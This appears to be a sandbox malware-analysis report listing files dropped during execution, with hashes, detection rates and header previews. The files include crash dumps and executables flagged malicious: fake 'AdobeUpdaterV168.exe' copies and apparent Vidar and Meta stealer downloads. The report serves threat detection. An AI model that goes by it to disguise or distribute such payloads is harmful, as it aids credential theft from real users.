C:\ProgramData\Microsoft\Windows\WER\Temp\WER79D3.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Thu Jun 27 04:44:21 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	49268
Entropy (8bit):	1.803449228060639
Encrypted:	false
SSDEEP:	192:7fillXnNSOMX5cPr3Z6R1mF7WTT1/A164KzG7Q8n1:+XnXMJcPr3Z6REATT1/AQ4KzRI
MD5:	6EF3EE405309E6D243650D14F4FE19AA
SHA1:	954513224EDE82D5DCE33504C8E58A63DA372B61
SHA-256:	6AB02638E205FE4ED36F7D92AA27CEBE9F064A852327F77809596E12809EACBF
SHA-512:	97FB6175EF82DDFFE419687A741167829277AE039AC051498ABAAB184474202F030DB282C05BF33F5B9AF8F0410095F0D8FFE106D473D54AB679CEE6FF651447
Malicious:	false
Preview:	MDMP..a..... .......%.\|f........................X...............f#..........T.......8...........T...........................T...........@...............................................................................eJ..............GenuineIntel............T.......P...$.\|f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7A32.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8376
Entropy (8bit):	3.7130704799914653
Encrypted:	false
SSDEEP:	192:R6l7wVeJlNVUA6Qw6YOX6gKJgmfeNvlJjpsprM89b6Tsfk+m:R6lXJlL636Ym6gKJgmfe3Jj+64fE
MD5:	C520111BFA992A47CA305E05A9EF2EE2
SHA1:	D699D47F3AB535D3682D15746699E1F5245E465A
SHA-256:	58D45FF24B833E00BC1AF7479A56565F32F9C73856ED93BAB65F095FDE9187D1
SHA-512:	BF7FE2DBF73E47D6597B981890D46B66A69A2A7F14066378CA74E868EC046FDC6BADA019D6B4011420A405721A389CAD24E1C446D28E3537EF2693E71412BB57
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.9.2.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7A91.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4685
Entropy (8bit):	4.554277247425779
Encrypted:	false
SSDEEP:	48:cvIwWl8zshJg77aI99qWpW8VYZYm8M4JOZ1ZAIFLZj+q8hZuu0fUSUdd:uIjfzI7HL7VlJO3Ljevb9dd
MD5:	373400224623DA90C0B989D1F2C79024
SHA1:	C8A904A311B1D3CC636DA5EB3979D6283DE44D6A
SHA-256:	A3FD772456C41C42504C8DB7DA76DE22CCD33C3FF3C37C1E907D478F17882890
SHA-512:	9E07A57F623F3224E987A4EC84E11F8CE1B4D419ED7A63D9F594FC0D3FD5FB94585AAB712D2718F97390CF3CF72BD532B73AA2A7FAD08CB0743A55FCF3F90749
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="385667" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER80B9.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Thu Jun 27 04:44:23 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	49092
Entropy (8bit):	1.7835615743795339
Encrypted:	false
SSDEEP:	192:tIRrcNzkO0A5W93WcrDnAlPbYfJxcG/NGiFegW5wl5zbZyxu:6mN30A5W93WcrDm0f3caqgW5QL
MD5:	3C9C42D53D15627EBBC404D9428CABAE
SHA1:	5D62622B040F889BD89FFB8DCEE33CA4FDB21E1B
SHA-256:	BCF91B1965BD5D7A6AB292A87642FFBD2EF3FA7F6448AB2564D101E1C73EBEDD
SHA-512:	7AB42F3FFB544CB0111501D65D961FEF7AC6BB31C3FD2DC5B8DFD6F30A1DF8E78828DEA6F673F30ABB422B8F4D68B82E2067E24256F8BABBC67F8CB5C1BDAA1A
Malicious:	false
Preview:	MDMP..a..... .......'.\|f........................X...............f#..........T.......8...........T...........@...............T...........@...............................................................................eJ..............GenuineIntel............T...........&.\|f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8221.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8374
Entropy (8bit):	3.7068694366490424
Encrypted:	false
SSDEEP:	192:R6l7wVeJJM6VlO6YOr6yxrgmf0JjaLWpr089bIVsfBYm:R6lXJi626Y66Qgmf0JjNIufL
MD5:	181948AFB0EA393744E00D9C8642BD6B
SHA1:	C6E6A08FF788369FA4C138F01D9C940FA74E493A
SHA-256:	4372D9E5B060F019CC5F68695545F3A482CAF09B85E7D70ED1A7B6055B09532F
SHA-512:	462E9B644BD3AA216C07598C7FCE45C25A1422DBA19D3F3157E2BBFFC94F4F4B39875901F2C0DD3C70ECBED06F99BC0466F83B3C4C6DBEA252ED7084EC59422B
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.1.4.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8271.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4685
Entropy (8bit):	4.552672251416053
Encrypted:	false
SSDEEP:	48:cvIwWl8zshJg77aI99qWpW8VYgYm8M4JwlhFQ+q8ktTNDwMdd:uIjfzI7HL7VUJrjTNLdd
MD5:	B134A588F2B9BA6ECC0D69FA9B8980E1
SHA1:	B2F1AB951EC7778F895123C0189629CE78218DA8
SHA-256:	02029B1CE501C701870796A12F9161971AB0CF89EDBDEADBF420E527A82790D8
SHA-512:	8C2A8B7F21954E5BBA64ED8241FE5F47C8837D27E363DCEAF6B0AC6EC7ED1F0B3AB43C517E9F0D1EBC7B03C9C326CF9533630AAA521A98CCD93ADE2DDA9A2912
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="385667" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8879.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Thu Jun 27 04:44:25 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	47442
Entropy (8bit):	1.8100711724828402
Encrypted:	false
SSDEEP:	192:PbicfAYOSqzokbwKAfOrIR7YA+D2uson0A:V4fSqzok8KAfOrIaA+D2zo
MD5:	A3F8FE2B718B84E8A32C0EE0B23FFCE2
SHA1:	2EBB8AC06576C2697876C03F8FFA1016F7A27024
SHA-256:	C6F9AF77EC4D65F2402355DC436BC930D424973E04EBC161A4952E9DD7E02186
SHA-512:	54A221AF258D990A0F818B6F1A6F86945047830F40E0C4E4969E00585711A79548D862E457758F87468BF804A2E0164A2F363F31C24372628AE07DA9C63AEECB
Malicious:	false
Preview:	MDMP..a..... .......).\|f........................X...............f#..........T.......8...........T...............b...........T...........@...............................................................................eJ..............GenuineIntel............T.......x...(.\|f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER88F7.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8376
Entropy (8bit):	3.711645966487337
Encrypted:	false
SSDEEP:	192:R6l7wVeJxa66X6YOa6ybSxgmf/AJjKpra89beisf6Km:R6lXJ56X6Yb6kSxgmf4JjcehfO
MD5:	E8DC245A0B8C8C0350B09B947E416AB4
SHA1:	BEE7276279B8A3634DE7C3E21A4737C1A16B1378
SHA-256:	A4BDFC4A8B045D79FEE236AE633DE7F40F5E030951E4F4B6E1E3ECE885D34B8F
SHA-512:	8FCE6CE4D48899EFB84E7522A1A7B46AE15E6766D5B401AEF012F5C6217CD43D79AF194476DEA51C116AA5851FAA41C26F76D59FD1956DAFDA89289D590D6EC7
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.2.8.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8937.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4685
Entropy (8bit):	4.552520957943971
Encrypted:	false
SSDEEP:	48:cvIwWl8zshJg77aI99qWpW8VYPYm8M4JQu0Fgc+q8yRi2Pke7d:uIjfzI7HL7VnJQOcU2ce7d
MD5:	FD1D28CDE71072D21224CC68A4890A40
SHA1:	5360C449C811932C1B17E2972BB491A21FB82B7C
SHA-256:	B4553B5DE636188306DD397FC3CB74FDBDB4DC6ADDFB3569206D6FC8365F7D44
SHA-512:	AD9C7014657B505AF8D408797635217113AF131D7865C8DAFEFEC48F2A83E9706EAD68CD071EC3849DE0F570AAE56C529714EEF907F2D7647BDAD42F3BA73B36
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="385667" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\AdobeUpdaterV168_672d1ad293a4f876ddc1e7a924b38ed7\AdobeUpdaterV168.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	501760
Entropy (8bit):	7.632838318543174
Encrypted:	false
SSDEEP:	12288:PpZdsQvofcmfO1VdiBcrKSzrQbHyYx3Ro8:Pb/vPdvKkiSYx3+
MD5:	93299CD3BCB2A0A2B38EECA1CDB8AE23
SHA1:	473D70D598475F0D2784389FF543470638597CB2
SHA-256:	16A7754DE464E184DE4DE3A7EC93C93D80D340B41B6579744F876C839085E3CA
SHA-512:	47486788B9F89736C1F9E306A39BCA20F606924BEED568694B5EB093C8B5042B1486C72E59F0D3350CB35103648BABFBF653C75DA6EE9293EC78F69BBC9EE3A4
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 79%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........@.@.@.....Q...........V..s..R.....G.@....s.....s..X..p..A..p..A.Rich@.................PE..L.....{f...............'....................0....@.......................................@.....................................P................................!.....................................@............0..x............................text............................... ..`.BsS....m.... ...................... ..`.rdata..z....0......................@..@.data...............................@....reloc...!......."..................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\AdobeUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\AdobeUpdaterV168.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	703488
Entropy (8bit):	7.782933844537582
Encrypted:	false
SSDEEP:	12288:1VzhH99+QaIqONhS7pZGnlO3ZqCWHFtcusqoYEuP0mSJKgYXo8:1Rv9CLUCaHsqiZ1Kc
MD5:	F3D3B5411E090124197B7B6297B1D8DB
SHA1:	90522C25164CB4B22242D95678547D86A68E52B7
SHA-256:	1D519AF0B0B48FAF1886065D31E5F27000228DAD742E2F8F06504838D4BC02D5
SHA-512:	CEE5F1C20CBE4067BAFE1DEDEE8C4DB870430B6E6F792ACCAC95D3E05C20A64893AD3DD971182C8E7D001243E5BC933AA2532C93359B4AF72CA691FD8FFF8736
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 62%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........@.@.@.....Q...........V..s..R.....G.@....s.....s..X..p..A..p..A.Rich@.................PE..L... .{f...............'....................0....@.......................................@.....................................P............................... !.....................................@............0..x............................text............................... ..`.BsS....m.... ...................... ..`.rdata..z....0......................@..@.data...............................@....reloc.. !......."..................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\AdobeUpdaterV168_e9e7ec3f581e0402136334ffa3c9b874\AdobeUpdaterV168.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	411136
Entropy (8bit):	7.500553295768982
Encrypted:	false
SSDEEP:	12288:jdI4y5LNCOuGcOq1H6Bvbw1tiNPUtIbsKRHo8:jq40NKaDiyPDI
MD5:	CB907B20EE4FB4389D25989D7DE466E8
SHA1:	4D63141C71E834E81C5F57F90F663C409EDF3A41
SHA-256:	7A95AE3B370D318BFF008A07FDDF1B6DEB1BEB78FA9E021C5C9F106D1149B553
SHA-512:	81C3F8E3362A565A426710B54E4F2B64165B764635818B788F43824B3F0CDD2DC354CBDB6FF945BDFE42BD4ADE7ED05B721F978FAA5AF3D6DF71CF6B81F13FE2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 58%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........@.@.@.....Q...........V..s..R.....G.@....s.....s..X..p..A..p..A.Rich@.................PE..L...c.{f...............'.....@..............0....@.......................................@.....................................P............................`..(!.....................................@............0..x............................text............................... ..`.BsS....m.... ...................... ..`.rdata..z....0......................@..@.data....i.......Z..................@....reloc..(!...`..."...$..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\AdobeUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\AdobeUpdaterV168.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1847296
Entropy (8bit):	7.952361851623971
Encrypted:	false
SSDEEP:	49152:XZKDuL48I2oJDxrV/4ePVhfBHcXuCEe/vPOM6yWKp3+EmfOS:XZ2uL439144fCXubCv2M6yWy3+i
MD5:	C72E70F29D3DD8FA148DF55E8E6DEC43
SHA1:	2F182D43528F78D6D847B37B77DA9A09A2ED1F0A
SHA-256:	BAFF3039B9ACF97084D1B853F495026C52A4C483D010901E226BEB599D23DF5B
SHA-512:	D1923E33057413D478DAAAAA54BB157762172A58AE03FC36E0C1C6E4D64C0C33D08BFF7AEC8759F533331215960D739FEC2FFEA86D18D1D8A70105927A6A5F12
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 63%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........@.@.@.....Q...........V..s..R.....G.@....s.....s..X..p..A..p..A.Rich@.................PE..L.....{f...............'.....*..............0....@.......................................@.....................................P............................P..(!.....................................@............0..x............................text............................... ..`.BsS....m.... ...................... ..`.rdata..z....0......................@..@.data....S.......D..................@....reloc..(!...P..."..................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegAsm.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1119
Entropy (8bit):	5.345080863654519
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0Hj
MD5:	88593431AEF401417595E7A00FE86E5F
SHA1:	1714B8F6F6DCAAB3F3853EDABA7687F16DD331F4
SHA-256:	ED5E60336FB00579E0867B9615CBD0C560BB667FE3CEE0674F690766579F1032
SHA-512:	1D442441F96E69D8A6D5FB7E8CF01F13AF88CA2C2D0960120151B15505DD1CADC607EF9983373BA8E422C65FADAB04A615968F335A875B5C075BB9A6D0F346C9
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\vidar2606[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	411136
Entropy (8bit):	7.500553295768982
Encrypted:	false
SSDEEP:	12288:jdI4y5LNCOuGcOq1H6Bvbw1tiNPUtIbsKRHo8:jq40NKaDiyPDI
MD5:	CB907B20EE4FB4389D25989D7DE466E8
SHA1:	4D63141C71E834E81C5F57F90F663C409EDF3A41
SHA-256:	7A95AE3B370D318BFF008A07FDDF1B6DEB1BEB78FA9E021C5C9F106D1149B553
SHA-512:	81C3F8E3362A565A426710B54E4F2B64165B764635818B788F43824B3F0CDD2DC354CBDB6FF945BDFE42BD4ADE7ED05B721F978FAA5AF3D6DF71CF6B81F13FE2
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 58%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........@.@.@.....Q...........V..s..R.....G.@....s.....s..X..p..A..p..A.Rich@.................PE..L...c.{f...............'.....@..............0....@.......................................@.....................................P............................`..(!.....................................@............0..x............................text............................... ..`.BsS....m.... ...................... ..`.rdata..z....0......................@..@.data....i.......Z..................@....reloc..(!...`..."...$..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\meta2606[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	703488
Entropy (8bit):	7.782933844537582
Encrypted:	false
SSDEEP:	12288:1VzhH99+QaIqONhS7pZGnlO3ZqCWHFtcusqoYEuP0mSJKgYXo8:1Rv9CLUCaHsqiZ1Kc
MD5:	F3D3B5411E090124197B7B6297B1D8DB
SHA1:	90522C25164CB4B22242D95678547D86A68E52B7
SHA-256:	1D519AF0B0B48FAF1886065D31E5F27000228DAD742E2F8F06504838D4BC02D5
SHA-512:	CEE5F1C20CBE4067BAFE1DEDEE8C4DB870430B6E6F792ACCAC95D3E05C20A64893AD3DD971182C8E7D001243E5BC933AA2532C93359B4AF72CA691FD8FFF8736
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 62%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........@.@.@.....Q...........V..s..R.....G.@....s.....s..X..p..A..p..A.Rich@.................PE..L... .{f...............'....................0....@.......................................@.....................................P............................... !.....................................@............0..x............................text............................... ..`.BsS....m.... ...................... ..`.rdata..z....0......................@..@.data...............................@....reloc.. !......."..................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\sqlt[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2459136
Entropy (8bit):	6.052474106868353
Encrypted:	false
SSDEEP:	49152:WHoJ9zGioiMjW2RrL9B8SSpiCH7cuez9A:WHoJBGqabRnj8JY/9
MD5:	90E744829865D57082A7F452EDC90DE5
SHA1:	833B178775F39675FA4E55EAB1032353514E1052
SHA-256:	036A57102385D7F0D7B2DEACF932C1C372AE30D924365B7A88F8A26657DD7550
SHA-512:	0A2D112FF7CB806A74F5EC17FE097D28107BB497D6ED5AD28EA47E6795434BA903CDB49AAF97A9A99C08CD0411F1969CAD93031246DC107C26606A898E570323
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
